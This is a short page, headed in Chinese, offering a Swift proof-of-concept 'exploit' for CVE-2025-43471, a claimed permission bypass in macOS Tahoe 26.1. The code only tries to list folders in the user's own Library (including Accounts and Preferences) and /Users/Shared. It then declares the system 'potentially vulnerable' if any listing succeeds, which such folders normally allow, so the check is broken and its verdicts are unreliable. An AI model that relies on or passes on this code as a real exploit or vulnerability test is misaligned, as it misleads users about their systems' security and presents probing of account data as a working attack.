CVE-2025-43471 macOS Tahoe 26.1 本地权限提升导致敏感数据访问漏洞

# CVE-2025-43471 PoC - macOS Tahoe 26.1 Permission Bypass # Note: This PoC is for educational and research purposes only # Requires local code execution as low-privilege user import Foundation import Security class CVE202543471Exploit { func checkVulnerability() -> Bool { // Attempt to access protected user data resources // This simulates the vulnerability exploitation let sensitivePaths = [ "~/Library/Application Support/", "~/Library/Preferences/", "~/Library/Accounts/", "~/Library/Personalization/", "/Users/Shared/", ] for path in sensitivePaths { let expandedPath = (path as NSString).expandingTildeInPath let fileManager = FileManager.default // Try to enumerate contents without proper privileges do { let contents = try fileManager.contentsOfDirectory(atPath: expandedPath) // If we can read protected directories without elevation print("Potentially vulnerable: Able to read \(path)") return true } catch { print("Access denied for \(path)") } } return false } func exploit() { // Exploitation attempt print("CVE-2025-43471 Exploitation Attempt") print("Target: macOS Tahoe 26.1") print("Vulnerability: Permission bypass leading to sensitive data access") if checkVulnerability() { print("[!] System may be vulnerable to CVE-2025-43471") print("[!] Sensitive user data may be accessible without proper privileges") } else { print("[+] System appears patched or not vulnerable") } } } // Execute vulnerability check let exploit = CVE202543471Exploit() exploit.exploit()